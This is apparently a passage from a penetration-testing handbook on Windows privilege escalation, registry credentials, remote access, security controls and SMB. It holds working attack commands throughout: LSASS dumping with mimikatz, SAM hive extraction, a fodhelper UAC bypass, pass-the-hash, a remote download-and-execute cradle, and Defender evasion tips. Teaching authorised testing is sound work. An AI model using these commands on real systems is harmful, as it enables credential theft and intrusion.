Windows tries in order: ``` C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some App\service.exe ``` If you can write to `C:\` or `C:\Program Files\`, drop a payload named `Program.exe` or `Some.exe` and it runs instead of the real binary. ### 4. Weak Registry Permissions Service config lives in the registry under `HKLM\SYSTEM\CurrentControlSet\Services\`. If you can write to a service's key, you can change its `ImagePath`: ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Check permissions on a service's registry key accesschk.exe -uvwqk "user" "HKLM\System\CurrentControlSet\Services\" ``` **winPEAS** automates the discovery of all four of these misconfigs in one run. Run it first, then manually verify and exploit whatever it flags. It's covered on the [Pillaging](/tech/windows/pillaging) page. *** ## Scheduled Tasks Covered briefly in [System Enumeration](/tech/windows/system-enumeration), but worth repeating in the escalation context. A task that runs as Administrator/SYSTEM and executes a script you can write to is the same win as a service misconfig. ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # List all tasks in detail schtasks /query /fo LIST /v # Look for: "Run As User: SYSTEM" or "Administrator" # Then check the script's permissions with icacls ``` *** ## LSASS — Dumping Credentials from Memory The **Local Security Authority Subsystem Service** (`lsass.exe`) handles authentication and holds credentials in memory — password hashes, Kerberos tickets, and sometimes plaintext passwords. Dumping it is a primary credential-theft technique. Requires admin/SYSTEM (or `SeDebugPrivilege`). ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Dump LSASS memory with built-in tools (comsvcs.dll) rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump C:\Users\Public\lsass.dmp full ``` Once you have the dump, extract credentials offline with mimikatz or pypykatz: ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # mimikatz, on the dump file sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords ``` LSASS dumping is heavily monitored by EDR and Defender. The `comsvcs.dll` method is built-in (lives off the land) but still frequently flagged. On a defended box, expect this to trigger alerts — know it's noisy before you reach for it. *** ## Sysinternals — The Essential Toolkit Microsoft's **Sysinternals Suite** contains advanced tools that go far beyond the built-ins. The ones you'll use most: | Tool | Purpose | | ----------- | ------------------------------------------------------------------------- | | `accesschk` | Check permissions on files, services, registry — finding misconfigs | | `procmon` | Real-time process/file/registry monitoring — catch what a service touches | | `procexp` | Process Explorer — detailed process inspection, see open handles and DLLs | | `psexec` | Execute commands remotely / spawn a SYSTEM shell | | `pipelist` | List named pipes — relevant for impersonation attacks | ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Spawn a SYSTEM shell locally (if you're already admin) psexec.exe -i -s cmd.exe ``` *** *Next: [Remote Access & Sessions](/tech/windows/remote-access) — RDP, WinRM, and the difference between session types that determines what credentials you can steal.* # Registry Source: https://hackbook.dudji.com/tech/windows/registry ## The Mindset The registry is a hierarchical database storing settings for the OS, applications, users, and hardware. For a pentester it's valuable for three reasons: * **Persistence** — autostart keys (`Run`, `RunOnce`, services) that launch programs at boot or logon * **Stored credentials** — autologon passwords, saved VNC/PuTTY/SNMP secrets, sometimes plaintext * **Configuration intel** — installed software, security settings, what's enabled and what isn't *** ## Structure — Hives, Keys, and Values The registry is organized into **hives** (top-level roots), which contain **keys** (like folders), which contain **values** (the actual data). ### The Five Root Hives | Hive | Abbreviation | What It Holds | | --------------------- | ------------ | ------------------------------------------------------------------------------------ | | `HKEY_LOCAL_MACHINE` | `HKLM` | System-wide settings — services, installed software, security. **The important one** | | `HKEY_CURRENT_USER` | `HKCU` | Settings for the currently logged-on user | | `HKEY_USERS` | `HKU` | Settings for all loaded user profiles | | `HKEY_CLASSES_ROOT` | `HKCR` | File associations and COM object registrations | | `HKEY_CURRENT_CONFIG` | `HKCC` | Current hardware profile | `HKLM` is where most of the pentest-relevant data lives — services, autostart entries, and system security settings. `HKCU` matters for per-user persistence and stored application secrets. ### Value Types Each value has a data type. The ones you'll encounter: | Type | Holds | | --------------- | --------------------------------------------------------- | | `REG_SZ` | A text string | | `REG_DWORD` | A 32-bit number (often a 0/1 toggle) | | `REG_BINARY` | Raw binary data | | `REG_EXPAND_SZ` | A string with environment variables (e.g. `%SystemRoot%`) | | `REG_MULTI_SZ` | Multiple strings | *** ## Querying the Registry ### `reg query` — From CMD ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Read all values under a key reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" # Read a specific value reg query "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections # Search the entire registry for a string (e.g. "password") reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s ``` | Flag | Meaning | | ---- | ---------------------------- | | `/v` | Query a specific value name | | `/s` | Recurse through all subkeys | | `/f` | Search for this data/pattern | | `/t` | Restrict to a value type | ### From PowerShell ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Read a key's values Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" # Read one value Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "OneDrive" # List subkeys Get-ChildItem -Path "HKLM:\Software" ``` *** ## Persistence Keys — Where Autostart Lives These keys launch programs automatically. Attackers plant entries here for persistence; you check them to find both attacker footholds and escalation opportunities (a writable autostart entry that runs as admin). ### The Run Keys ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Runs every time the user logs on reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" # Runs ONCE at next logon, then deletes itself reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" ``` | Key | When It Runs | | ------------------ | ----------------------------------------------------------------------- | | `HKLM\...\Run` | Every boot, for all users — runs with the privileges of whoever logs on | | `HKCU\...\Run` | Every logon, for the current user | | `HKLM\...\RunOnce` | Once at next boot, then removed | | `HKCU\...\RunOnce` | Once at next logon, then removed | If a `Run` entry points to a program in a path you can write to, you can replace that program with your payload — it'll execute the next time the relevant user logs on. If that user is an administrator, you've escalated. This is the registry version of the writable-script attack. ### Other Autostart Locations Worth Checking ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Winlogon — userinit and shell hooks (classic persistence) reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" # Services set to auto-start (cross-reference with service misconfigs) reg query "HKLM\System\CurrentControlSet\Services" /s ``` *** ## Stored Credentials in the Registry The registry sometimes holds credentials in cleartext or weakly protected — a direct pillaging win. ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Autologon credentials — sometimes plaintext password in DefaultPassword reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName # VNC stored passwords (various products) reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\Software\TightVNC\Server" /v Password # PuTTY saved sessions (may contain proxy credentials) reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s # SNMP community strings reg query "HKLM\System\CurrentControlSet\Services\SNMP" /s # Broad sweep for password values reg query HKLM /f password /t REG_SZ /s 2>nul reg query HKCU /f password /t REG_SZ /s 2>nul ``` **Autologon** (`DefaultPassword` in the Winlogon key) is the classic registry credential find — when a machine is configured to log in automatically, the password is often stored there in plaintext. Always check it. *** ## The SAM, SYSTEM, and SECURITY Hives The most sensitive registry hives are stored as files on disk and hold the local password hashes. Reading them is a primary credential-theft technique (requires admin or `SeBackupPrivilege`). ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Save the hives to files (needs admin / SeBackupPrivilege) reg save HKLM\SAM C:\Users\Public\sam.save reg save HKLM\SYSTEM C:\Users\Public\system.save reg save HKLM\SECURITY C:\Users\Public\security.save ``` Then extract the hashes offline with impacket on your Linux box: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Dump local account hashes from the saved hives impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL ``` | Hive | Holds | | ---------- | ----------------------------------------------------------------- | | `SAM` | Local user account password hashes | | `SYSTEM` | The boot key needed to decrypt the SAM | | `SECURITY` | LSA secrets, cached domain credentials, service account passwords | This is why `SeBackupPrivilege` (from the [System Enumeration](/tech/windows/system-enumeration) privileges table) is so valuable — it lets you read these hives even without full admin, handing you every local hash on the machine. *** *Next: [Windows Pillaging](/tech/windows/pillaging) — automated enumeration, hunting sensitive files, and the data-exfiltration endgame.* # Remote access Source: https://hackbook.dudji.com/tech/windows/remote-access ## The Mindset Remote access on Windows matters in two directions: * **Getting in** — RDP, WinRM, SMB, and PsExec are how you move to and between Windows hosts using credentials you've found * **What you get once you're in** — the *type* of session (interactive vs non-interactive) determines whether credentials are cached in memory for you to steal The second point is the one people miss. A user who logged in via RDP leaves credentials in LSASS. A service account running a process may not. *** ## RDP — Remote Desktop Protocol RDP gives you a full graphical desktop session. It listens on **TCP 3389** by default. To use it you need valid credentials and the account must be in the **Remote Desktop Users** group (or be an admin). ### Connecting from Linux ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # xfreerdp — the standard Linux RDP client xfreerdp /u:john /p:Password123 /v:10.10.10.5 # With a domain xfreerdp /d:CORP /u:john /p:Password123 /v:10.10.10.5 # Useful flags: drive redirection (move files), ignore cert, full screen xfreerdp /u:john /p:Password123 /v:10.10.10.5 /drive:share,/tmp /cert:ignore /f ``` ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # rdesktop — older alternative rdesktop -u john -p Password123 10.10.10.5 ``` ### Checking if RDP Is Available ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Is the port listening? netstat -ano | findstr 3389 # Is RDP enabled? (0 = enabled, 1 = disabled) reg query "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections # Who's in the Remote Desktop Users group? net localgroup "Remote Desktop Users" ``` RDP creates an **interactive logon**, which means the user's credentials get cached in LSASS memory. If you RDP in as a user (or an admin RDPs in while you're on the box), those credentials become dumpable. This is why RDP sessions are a credential-theft opportunity. *** ## WinRM — Windows Remote Management WinRM is the protocol behind PowerShell Remoting. It listens on **TCP 5985** (HTTP) and **5986** (HTTPS). The account needs to be in the **Remote Management Users** group or be an admin. ### Connecting from Linux ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # evil-winrm — the go-to tool for WinRM access evil-winrm -i 10.10.10.5 -u john -p Password123 # With a hash instead of a password (pass-the-hash) evil-winrm -i 10.10.10.5 -u john -H ``` ### From Windows (PowerShell Remoting) ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Run a command on a remote host Invoke-Command -ComputerName srv01 -Credential CORP\john -ScriptBlock { whoami } # Open an interactive remote session Enter-PSSession -ComputerName srv01 -Credential CORP\john ``` ### Checking if WinRM Is Available ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} netstat -ano | findstr "5985 5986" ``` `evil-winrm` is one of the most useful tools for Windows engagements — it gives you a clean PowerShell shell, supports pass-the-hash, and has built-in helpers for uploading files and loading scripts. If you find admin or Remote Management Users credentials, this is your first stop. *** ## PsExec — Remote Execution via SMB PsExec (Sysinternals) executes commands on a remote host over SMB (**TCP 445**). It's the classic admin-credential-to-SYSTEM-shell tool. ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Spawn an interactive SYSTEM shell on a remote host psexec.exe \\10.10.10.5 -u Administrator -p Password123 -s cmd.exe ``` ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # impacket's psexec from Linux impacket-psexec CORP/Administrator:Password123@10.10.10.5 # Pass-the-hash variant impacket-psexec -hashes : Administrator@10.10.10.5 ``` The `-s` flag runs as SYSTEM. PsExec needs admin credentials on the target because it creates and starts a service remotely — which also makes it noisy and easily detected. *** ## Interactive vs Non-Interactive Sessions This is the concept that ties credential theft together. Windows logon types determine whether credentials are cached in memory. | Logon Type | How It Happens | Credentials in Memory? | | ------------------------------- | ------------------------------- | ----------------------------------- | | **Interactive (Type 2)** | Logging in at the console / RDP | **Yes** — cached in LSASS | | **Network (Type 3)** | Accessing a share, PsExec | Usually no (credentials not cached) | | **Batch (Type 4)** | Scheduled tasks | Sometimes — depends on config | | **Service (Type 5)** | Service accounts | Yes — the service account creds | | **RemoteInteractive (Type 10)** | RDP | **Yes** — cached in LSASS | **Why this matters for you:** * An admin who **RDPs in** (interactive) leaves dumpable credentials in LSASS — wait for it, then dump * Someone connecting over **SMB or PsExec** (network logon) typically does *not* leave reusable credentials behind * **Service accounts** run continuously and their credentials sit in LSASS the whole time ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # See current logon sessions and their types query user quser # Event logs show logon types (4624 = successful logon, look at the Logon Type field) wevtutil qe Security /q:"*[System[(EventID=4624)]]" /c:5 /rd:true /f:text ``` This is why patience pays off on Windows. If you have a foothold but limited privileges, monitoring for an administrator to RDP in — then dumping LSASS once they do — can hand you admin credentials without exploiting anything. *** ## Service Accounts Service accounts run services and scheduled tasks. They're worth understanding because they often have elevated privileges and their credentials persist in memory. | Account | Scope | Notes | | --------------------------------------- | ------------------------ | ------------------------------------- | | `LocalSystem` (SYSTEM) | Highest local privilege | The goal of most local escalation | | `LocalService` | Limited local privileges | Network access as anonymous | | `NetworkService` | Limited local privileges | Network access as the machine account | | **Managed Service Accounts** | Domain-managed | Auto-rotating passwords | | **Virtual accounts** (`NT SERVICE\...`) | Per-service identity | Used by IIS app pools, SQL Server | Service accounts like `iis apppool\defaultapppool` and SQL Server's service account almost always have `SeImpersonatePrivilege` — which means a shell as one of them is a short hop to SYSTEM via a Potato attack. This connects back to the privileges you checked with `whoami /priv` in [System Enumeration](/tech/windows/system-enumeration). *** *Next: [SMB & Network Shares](/tech/windows/smb-shares) — enumerating shares, mounting them, and the permission layers that decide what you can reach.* # Security mechanisms Source: https://hackbook.dudji.com/tech/windows/security-mechanisms ## The Mindset Understanding Windows defenses serves you three ways: * **Identify what's active** — Defender? AppLocker? UAC enforcing? Each changes your approach * **Understand the restrictions** — what's blocked and why * **Find the gaps** — defenses are only as strong as their configuration, and misconfigured controls are common This knowledge also sharpens your reporting — you can tell the client exactly which control was missing or misconfigured. *** ## UAC — User Account Control UAC is the prompt that asks "do you want to allow this app to make changes?" It exists because even administrator accounts run with a **standard-user token** by default. When admin rights are needed, UAC prompts to **elevate** to the full admin token. This creates the **Medium vs High integrity** distinction you saw in `whoami /groups`: | Integrity Level | Meaning | | --------------- | ----------------------------------------------- | | **High** | Elevated — full admin token, UAC already passed | | **Medium** | Standard — admin account but not yet elevated | | **Low** | Sandboxed (e.g. browser tabs) | ### Why It Matters If you get a shell as a member of the Administrators group but at **Medium** integrity, you have admin *membership* but not admin *power* — many actions (writing to `System32`, reading other users' data, dumping LSASS) will fail until you elevate to High. ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Check your integrity level whoami /groups | findstr /i "Mandatory Label" # "High Mandatory Level" = elevated # "Medium Mandatory Level" = not elevated yet ``` ### UAC Bypasses Bypassing UAC means going from Medium to High without triggering a prompt. There are dozens of techniques, generally abusing auto-elevating Windows binaries: ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # fodhelper bypass (classic) — abuses an auto-elevating binary + registry hijack reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /f reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "cmd.exe" /f fodhelper.exe ``` UAC is **not** considered a security boundary by Microsoft — it's a convenience feature. That's why bypasses aren't treated as vulnerabilities and there are so many. Tools like **UACMe** catalog dozens of techniques. Check your integrity level early so you know whether you still need to bypass it. *** ## Windows Defender Defender is the built-in antivirus and EDR. On a modern, defended box it's your biggest obstacle — it scans files, monitors behavior, and flags known offensive tools instantly. ### Check Defender Status ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Is Defender running and what's enabled? sc query windefend ``` ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Detailed status — real-time protection, definitions Get-MpComputerStatus | Select-Object RealTimeProtectionEnabled, AntivirusEnabled, IsTamperProtected # What exclusion paths exist? (drop payloads where Defender won't scan) Get-MpPreference | Select-Object -ExpandProperty ExclusionPath ``` **Exclusion paths are gold.** Admins often exclude folders (like a dev directory or a backup share) from scanning for performance reasons. Drop your payload in an excluded path and Defender ignores it. `Get-MpPreference` reveals them — if you can read it. ### Working Around Defender The realistic approaches, in order of preference: * **Live off the land (LOLBins)** — use built-in Windows tools that aren't flagged (`certutil`, `rundll32`, `regsvr32`, PowerShell). No malicious file to detect * **In-memory execution** — download cradles that never write to disk (`IEX (New-Object Net.WebClient).DownloadString(...)`) * **Obfuscation** — modify tool signatures so they don't match known patterns * **Exclusion paths** — drop into a folder Defender doesn't scan ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Disabling Defender requires admin AND Tamper Protection off — usually not worth the noise # Far better to evade than to disable ``` Disabling Defender generates loud alerts and often fails due to Tamper Protection. Evasion (LOLBins, in-memory, exclusion paths) beats disabling almost every time on a monitored box. *** ## AppLocker — Application Whitelisting AppLocker controls which applications and scripts are allowed to run, based on rules (publisher, path, or file hash). Where it's deployed, you can't just drop and run an arbitrary `.exe`. ### Check AppLocker Policy ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Dump the effective AppLocker policy Get-AppLockerPolicy -Effective -Xml # Test whether a specific file would be allowed to run Get-AppLockerPolicy -Effective | Test-AppLockerPolicy -Path C:\Users\Public\payload.exe -User Everyone ``` ### Bypassing AppLocker AppLocker bypasses exploit gaps in the rules. The most common: * **Writable allowed paths** — if a rule allows everything in `C:\Windows` but a subfolder there is user-writable, drop your payload in that subfolder * **LOLBins** — trusted, signed Microsoft binaries that can execute code (`regsvr32`, `rundll32`, `mshta`, `msbuild`) usually aren't blocked * **Alternate script hosts** — if `.exe` and `.ps1` are blocked but `.hta` or `.js` aren't, use those ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Default-allowed writable directories under C:\Windows that often bypass path rules # C:\Windows\Tasks # C:\Windows\Temp # C:\Windows\tracing # C:\Windows\System32\spool\drivers\color ``` AppLocker's default rules allow everything in `C:\Windows` and `C:\Program Files`. The bypass is finding a **user-writable subfolder** inside those trusted paths — the list above are the classic ones. Check them with `icacls`. *** ## Group Policy Group Policy (GPO) is how Windows centrally enforces settings — security policies, software restrictions, scripts, and the configurations behind UAC, AppLocker, and Defender. On a domain, GPOs push down from the domain controller. ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Dump the effective policy applied to this machine/user gpresult /r # Full HTML report gpresult /h C:\Users\Public\gpreport.html ``` **Why you care:** * GPO reveals what's enforced — password policy, restricted groups, audit settings * **GPP (Group Policy Preferences)** historically stored credentials in SYSVOL with the famous `cpassword` (decryptable with a public AES key) — covered in [Pillaging](/tech/windows/pillaging) * Logon/startup scripts defined in GPO run automatically — a writable one is an escalation path On a domain, the SYSVOL share (`\\domain\SYSVOL`) is readable by all authenticated users and contains GPO data — including any legacy `cpassword` values. Always check it during domain pillaging. *** ## Defenses at a Glance | Mechanism | What It Does | Where It's Weak | | -------------------- | -------------------------------- | ------------------------------------------------------ | | **UAC** | Prompts to elevate Medium → High | Not a security boundary; many bypasses (UACMe) | | **Windows Defender** | AV/EDR — scans and monitors | Exclusion paths, LOLBins, in-memory execution | | **AppLocker** | Whitelists allowed apps/scripts | Writable trusted paths, LOLBins, alt script hosts | | **Group Policy** | Centrally enforces settings | GPP cpassword, writable logon scripts, readable SYSVOL | *** *This concludes the Windows chapter. From here, head to [Windows Privilege Escalation](/attacks/privilege-escalation/windows) to turn everything you've enumerated into SYSTEM.* # Smb shares Source: https://hackbook.dudji.com/tech/windows/smb-shares ## The Mindset SMB (Server Message Block) is the protocol Windows uses for file and printer sharing. It runs on **TCP 445**. For a pentester, SMB is valuable because: * **Shares hold sensitive files** — backups, password spreadsheets, deployment scripts with embedded credentials * **Shares enable lateral movement** — write access to the right share spreads your payload * **SMB is a historic vulnerability magnet** — EternalBlue and friends live here *** ## Enumerating Shares — Locally If you're already on a Windows box: ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # List shares on the local machine net share # List shares on a remote host net view \\srv01 /all # Map a remote share to a drive letter net use Z: \\srv01\share # Map with credentials net use Z: \\srv01\share /user:CORP\john Password123 # List your current mapped connections net use ``` ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # PowerShell — list local shares Get-SmbShare # Show share permissions Get-SmbShareAccess -Name "share" ``` *** ## Enumerating Shares — From Linux This is how you'll usually do it during external/internal assessments. ### smbclient — List and Browse ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # List shares on a host (null/anonymous session) smbclient -L //10.10.10.5 -N # List shares with credentials smbclient -L //10.10.10.5 -U john # Connect to a specific share and browse interactively smbclient //10.10.10.5/share -U john # smb: \> ls # smb: \> get interesting_file.txt # smb: \> put payload.exe ``` ### crackmapexec / netexec — The Power Tool `netexec` (the maintained successor to `crackmapexec`) is the fastest way to enumerate SMB across one host or a whole subnet: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Enumerate shares and access on a host netexec smb 10.10.10.5 -u john -p Password123 --shares # Across an entire subnet — find every share you can touch netexec smb 10.10.10.0/24 -u john -p Password123 --shares # Check for null session access (no credentials) netexec smb 10.10.10.5 -u '' -p '' --shares # Pass-the-hash netexec smb 10.10.10.5 -u Administrator -H --shares # Spider a share for interesting files netexec smb 10.10.10.5 -u john -p Password123 -M spider_plus ``` Always test for **null/anonymous sessions** first (`-u '' -p ''`). Misconfigured shares that allow anonymous access are common and hand you files before you've authenticated to anything. ### Mounting a Share on Linux ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Mount an SMB share to a local directory sudo mount -t cifs //10.10.10.5/share /mnt/share -o username=john,password=Password123 # Then browse it like any local folder ls -la /mnt/share ``` *** ## NTFS vs Share Permissions — Again This came up on the [Permissions & icacls](/tech/windows/permissions-icacls) page, and it's critical for SMB. When you access a file over the network, **both** permission layers apply and **the most restrictive wins**: | Layer | Controls | Applies | | --------------------- | ------------------------------------ | -------------------------- | | **Share permissions** | Access to the share over the network | Network access only | | **NTFS permissions** | Access to the actual files/folders | Always (local and network) | So a share might be set to "Everyone: Full Control" at the share level — but if NTFS only grants you Read on the files inside, you get Read. This is why you check both, and why a wide-open share permission doesn't always mean wide-open files. The reverse misconfiguration is the useful one: an admin sets restrictive NTFS permissions but forgets the share is set to Everyone:Full. If you can reach it over the network and NTFS happens to allow your account, you're in. Always check what you can actually read and write rather than assuming from one layer. *** ## Windows Defender Firewall The firewall controls what's reachable. Understanding its state tells you what you can connect to and what might be blocking your callbacks. ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Check firewall state for all profiles netsh advfirewall show allprofiles # List firewall rules netsh advfirewall firewall show rule name=all # Check if a specific port is allowed (look through the rules) netsh advfirewall firewall show rule name=all | findstr 445 ``` ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # PowerShell — firewall profile status Get-NetFirewallProfile | Select-Object Name, Enabled # List inbound allow rules Get-NetFirewallRule -Direction Inbound -Action Allow -Enabled True ``` When your reverse shell won't connect back, the host firewall blocking outbound traffic on your chosen port is a common cause. Try common allowed ports (443, 80) for your callbacks — they're rarely blocked outbound. *** ## SMB Vulnerabilities — Know the Classics SMB has a long history of critical vulnerabilities. You don't need exploit internals, but you should recognize the names and check for them: | Vulnerability | CVE | What It Is | | ------------------ | -------------- | ----------------------------------------------------------------------------------- | | **EternalBlue** | CVE-2017-0144 | SMBv1 RCE — the WannaCry/NotPetya vector. Unauthenticated SYSTEM on unpatched hosts | | **SMBGhost** | CVE-2020-0796 | SMBv3 compression RCE | | **PrintNightmare** | CVE-2021-34527 | Print Spooler (related service) RCE/LPE | ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Check for EternalBlue with nmap nmap -p445 --script smb-vuln-ms17-010 10.10.10.5 # netexec also flags SMB signing and version info netexec smb 10.10.10.0/24 ``` SMBv1 being enabled at all is a red flag — it's deprecated and the EternalBlue vector. `netexec smb ` shows the SMB version and whether signing is required (unsigned SMB enables relay attacks). *** *Next: [The Windows Registry](/tech/windows/registry) — the central config database, where persistence lives and credentials sometimes hide.* # System enumeration Source: https://hackbook.dudji.com/tech/windows/system-enumeration ## The Mindset When you land on a Windows target, three questions drive everything: * **Who am I?** — Your user, privileges, and group memberships * **What can I do?** — Enabled privileges, especially the ones that lead to escalation * **What is this machine?** — OS version, patch level, scheduled tasks, services ## Who Am I? ### `whoami` — Current User ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} whoami # win01\john ``` The output is in `COMPUTERNAME\USERNAME` format. The **hostname** is the name assigned to the machine itself — set during Windows installation or by an admin. It's what identifies this computer on the local network, like a label on a box. `win01` is that label. `john` is the user account on it. On a domain-joined machine it shows `DOMAIN\USERNAME` instead — that tells you whether you're a local account or a domain account at a glance. ### `whoami /priv` — Your Privileges This is the single most important enumeration command on Windows. It lists the privileges assigned to your token — and several of them are direct paths to SYSTEM. A **token** is Windows' internal representation of your security context. Every process runs under one. When you log in or a service starts, Windows creates a token and attaches it to your session — it holds your identity (SID), your group memberships, and your privileges. `whoami /priv` reads that token and shows you what rights the OS will honour for anything your process tries to do. Tokens are kernel objects — they live in kernel memory, not as files on disk. The easiest way to see your full token is `whoami /all`, which combines your user, groups, and privileges into one view: ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} whoami /all USER INFORMATION ---------------- User Name SID ========== ============================================= ws01\john S-1-5-21-674899381-4069889467-2080702030-1002 GROUP INFORMATION ----------------- Group Name Type SID Attributes ================================ ================ ============ ========================== BUILTIN\Administrators Alias S-1-5-32-544 Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group Mandatory Label\High Mandatory Level Label S-1-16-12288 Integrity PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======= SeImpersonatePrivilege Impersonate a client after authentication Enabled SeDebugPrivilege Debug programs Enabled ``` To inspect the token of *another* running process (for example, to see if a SYSTEM process has a token you can steal), use a tool like [Process Hacker](https://processhacker.sourceforge.io/) — right-click any process → Properties → Token tab. ```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======= SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled ``` **What these privileges mean:** | Privilege | What It Does | Why It Matters | | ------------------------------- | ---------------------------------------------------------------------------------- | -------------------------------------------------------------------------------- | | `SeChangeNotifyPrivilege` | Bypass directory traversal checks to navigate folders without explicit permissions | Minor — enabled for almost everyone, rarely useful | | `SeImpersonatePrivilege` | Impersonate a client after authentication | **Major** — leads to SYSTEM via Potato attacks (JuicyPotato, PrintSpoofer, etc.) | | `SeIncreaseWorkingSetPrivilege` | Increase the memory available to a process | Minor | `SeImpersonatePrivilege` and `SeAssignPrimaryTokenPrivilege` are the privileges to look for. Service accounts (like `iis apppool`, `mssql`) usually have them — and they turn a service-account shell into SYSTEM with a Potato exploit. **High-value privileges to always watch for:** | Privilege | Escalation Path | | ------------------------------- 